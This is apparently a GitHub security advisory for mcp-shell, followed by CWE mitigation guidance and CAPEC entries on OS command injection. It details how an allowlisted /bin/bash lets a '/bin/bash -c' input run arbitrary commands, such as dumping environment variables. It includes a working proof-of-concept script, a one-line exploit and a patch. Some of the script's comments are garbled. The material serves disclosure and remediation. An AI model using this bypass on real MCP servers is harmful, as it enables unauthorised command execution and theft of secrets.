"details": "### Summary\n\n`mcp-shell` ships a default Docker configuration (`security.yaml`) that includes `/bin/bash` in the `allowed_executables` allowlist. The command validator (`security.go`) only checks whether the first token of the supplied command matches an allowed executable; it does not inspect or reject shell command-mode flags such as `-c`. As a result, any MCP tool caller can send `command=/bin/bash -c \u003carbitrary-command\u003e` to the `shell_exec` tool and execute commands that are not in the allowlist \u2014 including `id`, `env`, `curl`, `wget`, and any other binary present in the container. The bypass works with the default Docker image, requires no authentication, and requires no modifications to server configuration. Successful exploitation gives the attacker arbitrary OS command execution inside the container as `mcpuser`.\n\n### Details\n\n`mcp-shell` implements a *secure mode* in which command execution is restricted to an explicit allowlist of executables defined in `security.yaml`. The Docker image ships this file with the following entry:\n\n```yaml\n# security.yaml (line 29)\nallowed_executables:\n - \"ls\"\n - ...\n - \"/bin/bash\" # Only allow if you trust the arguments\n```\n\nThe comment itself acknowledges the risk, but the shipped default does not enforce any argument-level restriction. The validation logic in `security.go` is responsible for enforcing secure mode:\n\n```go\n// security.go:84-96\nfor _, allowed := range v.config.AllowedExecutables {\n if v.matchesExecutable(executable, allowed) {\n if err := v.checkBlockedPatternsAndCommands(command); err != nil {\n return err\n }\n return nil\n }\n}\n```\n\n`executable` is derived solely from `parts[0]` after splitting the input on whitespace (`security.go:67`). When the command is `/bin/bash -c id`, `executable` evaluates to `/bin/bash`, which matches the allowlist entry. The `-c` flag and subsequent arguments are passed to `checkBlockedPatternsAndCommands`, which only checks for shell metacharacters (`|`, `\u0026`, `;`, `\u003c`, `\u003e`, `(`, `)`, `{`, `}`, `[`, `]`, `` ` ``, `$`, `\\`, `\"`, `\u0027`) and a configurable list of `blocked_commands`/`blocked_patterns` \u2014 both of which default to empty arrays in the shipped configuration. The flag `-c` does not match any blocked metacharacter, so the check passes.\n\nThe validated command then reaches the executor:\n\n```go\n// executor.go:149-163\nexecutable, args, err := e.parseCommand(command)\n// ...\ncmd = exec.CommandContext(ctx, executable, args...)\n```\n\n`parseCommand` splits the command string, yielding `executable=\"/bin/bash\"` and `args=[\"-c\", \"id\"]`. `exec.CommandContext` is invoked directly \u2014 no shell is spawned by the executor itself \u2014 but `/bin/bash -c id` is equivalent to a shell invocation, executing `id` outside the allowlist.\n\n**Data flow (source \u2192 sink):**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `Dockerfile:55` | `COPY security.yaml /etc/mcp-shell/security.yaml` \u2014 bundles vulnerable config into image |\n| 2 | `Dockerfile:57` | `ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml` \u2014 activates config by default |\n| 3 | `security.yaml:29` | `/bin/bash` registered in `allowed_executables` |\n| 4 | `main.go:84-102` | MCP tool `shell_exec` registered with required `command` parameter |\n| 5 | `handler.go:34` | `command := request.RequireString(\"command\")` \u2014 attacker-controlled input received |\n| 6 | `handler.go:49` | `h.validator.validateCommand(command)` \u2014 validation called |\n| 7 | `security.go:67-96` | `executable = parts[0]` matches `/bin/bash`; `-c` not blocked; returns `nil` |\n| 8 | `handler.go:59` | Validated command forwarded to executor |\n| 9 | `executor.go:163` | `exec.CommandContext(ctx, \"/bin/bash\", \"-c\", \"id\")` \u2014 sink: arbitrary execution |\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed and accessible.\n- Repository source code checked out (build context is the repository root).\n- `python3` available (for the automated PoC script).\n\n**Step 1 \u2014 Build the Docker image**\n\n```bash\ndocker build \\\n -f vuln-001/Dockerfile \\\n /path/to/mcp-shell-repo \\\n -t mcp-shell-vuln-001:latest\n```\n\n**Step 2 \u2014 Run the PoC script**\n\n```bash\npython3 vuln-001/poc.py mcp-shell-vuln-001:latest\n```\n\nThe script sends three MCP JSON-RPC requests over stdio:\n\n1. `initialize` handshake\n2. `tools/call shell_exec` with `command=\"/bin/bash -c id\"` \u2014 **exploit payload**\n3. `tools/call shell_exec` with `command=\"id\"` \u2014 **control**: direct invocation must be blocked\n\n**Expected output (exploit success):**\n\n```\n[id=2] /bin/bash -c id response:\n \u2192 status=\u0027success\u0027, exit_code=0, stdout=\u0027uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)\u0027\n\n[+] PASS: uid= confirmed \u2192 /bin/bash -c via arbitrary command execution successful!\n\n[+] control confirmed: \u0027id\u0027 direct execution blocked (allowlist behavior normal)\n \u2192 allowlist bypass /bin/bash -c only through the path occurs proven\n```\n\n**Alternatively, using raw `printf` (no Python required):**\n\n```bash\nprintf \u0027%s\\n\u0027 \\\n \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"0.0.1\"}}}\u0027 \\\n \u0027{\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\",\"params\":{}}\u0027 \\\n \u0027{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"shell_exec\",\"arguments\":{\"command\":\"/bin/bash -c id\",\"base64\":false}}}\u0027 \\\n| docker run --rm -i mcp-shell-vuln-001:latest\n```\n\n**Observed MCP response:**\n\n```json\n{\n \"command\": \"/bin/bash -c id\",\n \"execution_time\": \"3.854555ms\",\n \"exit_code\": 0,\n \"security_info\": {\"security_enabled\": true, \"working_dir\": \"/tmp\", \"timeout_applied\": true},\n \"status\": \"success\",\n \"stderr\": \"\",\n \"stdout\": \"uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)\"\n}\n```\n\n**Remediation (patch guidance):**\n\n1. Remove shell interpreters from the default `security.yaml` allowlist:\n\n```diff\n--- a/security.yaml\n+++ b/security.yaml\n- - \"/bin/bash\" # Only allow if you trust the arguments\n```\n\n2. Add argument-level validation in `security.go` to block shell command-mode flags even when a shell interpreter is allowlisted:\n\n```diff\n--- a/security.go\n+++ b/security.go\n executable := parts[0]\n+ args := parts[1:]\n+\n+ if isShellCommandMode(executable, args) {\n+ return fmt.Errorf(\"shell command mode is not allowed in secure mode: %s\", executable)\n+ }\n\n // Check if the executable is in the allowlist\n for _, allowed := range v.config.AllowedExecutables {\n ...\n }\n+\n+ func isShellCommandMode(executable string, args []string) bool {\n+ base := filepath.Base(executable)\n+ switch base {\n+ case \"sh\", \"bash\", \"dash\", \"ash\", \"zsh\", \"ksh\":\n+ for _, arg := range args {\n+ if arg == \"-c\" || (strings.HasPrefix(arg, \"-\") \u0026\u0026 strings.Contains(arg, \"c\")) {\n+ return true\n+ }\n+ }\n+ }\n+ return false\n+ }\n```\n\n### Impact\n\nThis is an **OS Command Injection** vulnerability (CWE-78). The `shell_exec` MCP tool is designed to execute only pre-approved executables; the bypass allows an attacker to run arbitrary commands present in the container image (`curl`, `wget`, `env`, `sed`, `grep`, `tar`, etc. \u2014 all installed by the Dockerfile) under the identity of `mcpuser` (UID 1000).\n\n**Who is impacted:**\n\n- **Any operator** deploying the official Docker image without modifying the default `security.yaml` is vulnerable immediately upon deployment. No custom configuration, no elevated privileges, and no prior authentication are required.\n- **MCP clients** that interact with a vulnerable `mcp-shell` instance \u2014 including automated AI agents, LLM orchestration platforms, and CI/CD pipelines \u2014 may be leveraged to exfiltrate secrets, tamper with files accessible to `mcpuser`, or pivot further within the container\u0027s network.\n- The `--network=none` flag used in the PoC demonstrates successful exploitation even with no network access; in production deployments with network access, the impact extends to data exfiltration and lateral movement.\n\n**Concrete consequences of exploitation:**\n\n- **Confidentiality:** Dump environment variables (`/bin/bash -c env`), read files, or exfiltrate credentials visible to `mcpuser`.\n- **Integrity:** Write or modify files within the container\u0027s writable filesystem.\n- **Availability:** Consume container resources or terminate processes.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC Dockerfile: Secure Mode Allowlist Bypass via /bin/bash -c\n# build context: ../repo directory\n# usage: docker build -f vuln-001/Dockerfile ../repo -t mcp-shell-vuln-001:latest\n\n# Build stage\nFROM golang:1.25-alpine AS builder\n\nRUN apk add --no-cache git\n\nWORKDIR /app\n\nCOPY go.mod go.sum ./\nRUN go mod download\n\nCOPY *.go ./\n\nARG VERSION=vuln-001-poc\nRUN CGO_ENABLED=0 GOOS=linux go build \\\n -ldflags \"-X main.version=${VERSION} -s -w\" \\\n -a -installsuffix cgo \\\n -o mcp-shell .\n\n# Runtime stage\nFROM alpine:3.22\n\nRUN apk add --no-cache \\\n bash \\\n curl \\\n wget \\\n git \\\n make \\\n findutils \\\n grep \\\n sed \\\n gawk \\\n tar \\\n gzip \\\n unzip \\\n ca-certificates \\\n \u0026\u0026 rm -rf /var/cache/apk/*\n\nRUN addgroup -g 1000 mcpuser \u0026\u0026 \\\n adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser\n\nRUN mkdir -p /tmp/mcp-workspace \u0026\u0026 \\\n chown mcpuser:mcpuser /tmp/mcp-workspace\n\nRUN mkdir -p /etc/mcp-shell \u0026\u0026 \\\n chown mcpuser:mcpuser /etc/mcp-shell\n\nCOPY --from=builder /app/mcp-shell /usr/local/bin/mcp-shell\nRUN chmod +x /usr/local/bin/mcp-shell\n\n# Vulnerable default configuration: /bin/bash text allowed_executables text containsdone\nCOPY security.yaml /etc/mcp-shell/security.yaml\n\nENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml\nENV PATH=\"/usr/local/bin:${PATH}\"\n\nUSER mcpuser\nWORKDIR /tmp/mcp-workspace\n\nENTRYPOINT [\"mcp-shell\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 PoC: Secure Mode Allowlist Bypass via /bin/bash -c\n\nVulnerability summary:\n security.yamltext allowed_executablestext /bin/bash text registerbecomes text,\n validateExecutableCommand (security.go:60-105)text parts[0]=/bin/bash only allowlist checkand\n -c flagtext blocktext text. text /bin/bash -c id text verificationtext passedtext\n executor.go:163 from exec.CommandContext(ctx, \"/bin/bash\", \"-c\", \"id\") text executebecomes\n allowlisttext without arbitrary commandtext(id, env etc.)text executedonetext.\n\nusage:\n python3 poc.py [IMAGE_NAME]\n default text: mcp-shell-vuln-001:latest\n\"\"\"\n\nimport subprocess\nimport json\nimport sys\n\nIMAGE = sys.argv[1] if len(sys.argv) \u003e 1 else \"mcp-shell-vuln-001:latest\"\n\n\ndef make_msg(obj):\n return json.dumps(obj, separators=(\u0027,\u0027, \u0027:\u0027))\n\n\n# MCP JSON-RPC message whentext\nMESSAGES = [\n # 1. initialize handshake\n make_msg({\n \"jsonrpc\": \"2.0\", \"id\": 1,\n \"method\": \"initialize\",\n \"params\": {\n \"protocolVersion\": \"2024-11-05\",\n \"capabilities\": {},\n \"clientInfo\": {\"name\": \"vuln-001-poc\", \"version\": \"0.0.1\"}\n }\n }),\n # 2. initialized text (response none)\n make_msg({\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\", \"params\": {}}),\n # 3. vulnerability text: /bin/bash -c id\n # id text allowlisttext textonly /bin/bash text because it exists verification passed \u2192 id execute\n make_msg({\n \"jsonrpc\": \"2.0\", \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"shell_exec\",\n \"arguments\": {\"command\": \"/bin/bash -c id\", \"base64\": False}\n }\n }),\n # 4. comparison: id directly execute \u2192 allowlisttext because it is missing blockbecomestext done\n make_msg({\n \"jsonrpc\": \"2.0\", \"id\": 3,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"shell_exec\",\n \"arguments\": {\"command\": \"id\", \"base64\": False}\n }\n }),\n # 5. add evidence: env environment variable text (envtext allowlisttext none)\n make_msg({\n \"jsonrpc\": \"2.0\", \"id\": 4,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"shell_exec\",\n \"arguments\": {\"command\": \"/bin/bash -c env\", \"base64\": False}\n }\n }),\n]\n\n\ndef extract_text(resp):\n \"\"\"MCP tools/call responsefrom text contents extract\"\"\"\n try:\n content = resp.get(\"result\", {}).get(\"content\", [])\n for item in content:\n if item.get(\"type\") == \"text\":\n return item[\"text\"]\n except Exception:\n pass\n return None\n\n\ndef run_poc():\n stdin_data = \"\\n\".join(MESSAGES) + \"\\n\"\n\n print(f\"[*] text: {IMAGE}\")\n print(\"[*] text: /bin/bash -c id\")\n print(\"[*] texttimes principle: validateExecutableCommandtext parts[0]=/bin/bash only allowlist check, -c textblock\")\n print()\n\n try:\n proc = subprocess.run(\n [\"docker\", \"run\", \"--rm\", \"-i\", \"--network=none\", IMAGE],\n input=stdin_data.encode(),\n capture_output=True,\n timeout=30,\n )\n except subprocess.TimeoutExpired:\n print(\"[-] error: container response timeout (30seconds)\")\n return False, \"timeout\"\n except FileNotFoundError:\n print(\"[-] error: docker commandtext text can none\")\n return False, \"docker not found\"\n except Exception as e:\n print(f\"[-] error: {e}\")\n return False, str(e)\n\n stdout = proc.stdout.decode(errors=\"replace\")\n stderr = proc.stderr.decode(errors=\"replace\")\n\n print(\"=== STDOUT (JSON-RPC response) ===\")\n print(stdout)\n if stderr:\n print(\"=== STDERR (server log, partial) ===\")\n print(stderr[:1500])\n print()\n\n # response parse\n responses = {}\n for line in stdout.splitlines():\n line = line.strip()\n if not line:\n continue\n try:\n resp = json.loads(line)\n msg_id = resp.get(\"id\")\n if msg_id is not None:\n responses[msg_id] = resp\n except json.JSONDecodeError:\n pass\n\n exploit_passed = False\n exploit_evidence = \"\"\n\n # [id=2] /bin/bash -c id result check (key point evidence)\n if 2 in responses:\n text = extract_text(responses[2])\n if text:\n print(f\"[id=2] /bin/bash -c id response text: {text[:400]}\")\n try:\n result = json.loads(text)\n stdout_val = result.get(\"stdout\", \"\")\n status = result.get(\"status\", \"\")\n exit_code = result.get(\"exit_code\", -1)\n print(f\" \u2192 status={status!r}, exit_code={exit_code}, stdout={stdout_val!r}\")\n if \"uid=\" in stdout_val and status == \"success\":\n exploit_passed = True\n exploit_evidence = (\n f\"command=/bin/bash -c id | status={status} | \"\n f\"exit_code={exit_code} | stdout={stdout_val}\"\n )\n print(f\"\\n[+] PASS: uid= check \u2192 /bin/bash -c text arbitrary command execute success!\")\n print(f\"[+] Deterministic evidence: {exploit_evidence}\")\n except json.JSONDecodeError:\n if \"uid=\" in text:\n exploit_passed = True\n exploit_evidence = text\n print(f\"[+] PASS: uid= confirmed (raw): {text[:200]}\")\n else:\n print(\"[-] id=2 response none (secondstext failure or server error)\")\n\n # [id=3] id directly execute \u2192 block check (text)\n if 3 in responses:\n text = extract_text(responses[3]) or \"\"\n resp_str = str(responses[3])\n blocked = (\n \"not in allowed list\" in text\n or \"not in allowed list\" in resp_str\n or \"Security violation\" in text\n or \"isError\" in resp_str and \"true\" in resp_str.lower()\n )\n if blocked:\n print(f\"\\n[+] text check: \u0027id\u0027 directly executetext blocked (allowlist behavior normal)\")\n print(f\" \u2192 allowlist texttimestext /bin/bash -c pathfromonly occurdonetext proofdone\")\n else:\n print(f\"[*] \u0027id\u0027 directly result: {text[:200]}\")\n\n # [id=4] /bin/bash -c env add evidence\n if 4 in responses:\n text = extract_text(responses[4]) or \"\"\n try:\n result = json.loads(text)\n stdout_val = result.get(\"stdout\", \"\")\n if \"PATH=\" in stdout_val or \"HOME=\" in stdout_val:\n env_lines = stdout_val.splitlines()[:5]\n print(f\"\\n[+] add evidence: /bin/bash -c env success (envtext allowlist textcontains)\")\n print(f\" first 5lines: {chr(10).join(\u0027 \u0027 + l for l in env_lines)}\")\n except Exception:\n pass\n\n return exploit_passed, exploit_evidence\n\n\nif __name__ == \"__main__\":\n passed, evidence = run_poc()\n print()\n if passed:\n print(\"[+] vulnerability reproduction result: PASS\")\n sys.exit(0)\n else:\n print(\"[-] vulnerability reproduction result: FAIL\")\n sys.exit(1)\n```",
"id": "GHSA-3x77-wg38-92r3",
"modified": "2026-08-25T15:41:30Z",
"published": "2026-08-25T15:41:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sonirico/mcp-shell/security/advisories/GHSA-3x77-wg38-92r3"
},
{
"type": "WEB",
"url": "https://github.com/sonirico/mcp-shell/pull/16"
},
{
"type": "WEB",
"url": "https://github.com/sonirico/mcp-shell/commit/f31377fce6ec31114e5a4398c0e5270552bce09f"
},
{
"type": "PACKAGE",
"url": "https://github.com/sonirico/mcp-shell"
},
{
"type": "WEB",
"url": "https://github.com/sonirico/mcp-shell/releases/tag/v0.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "mcp-shell has a Secure Mode Allowlist Bypass via Default `/bin/bash` Executable"
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
Strategy: Attack Surface Reduction
For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
Mitigation MIT-28
Strategy: Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
Mitigation
If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would need to be escaped or otherwise handled. In this case, stripping the character might reduce the risk of OS command injection, but it would produce incorrect behavior because the subject field would not be recorded as the user intended. This might seem to be a minor inconvenience, but it could be more important when the program relies on well-structured subject lines in order to pass messages to other components.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
Mitigation
Strategy: Sandbox or Jail
Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.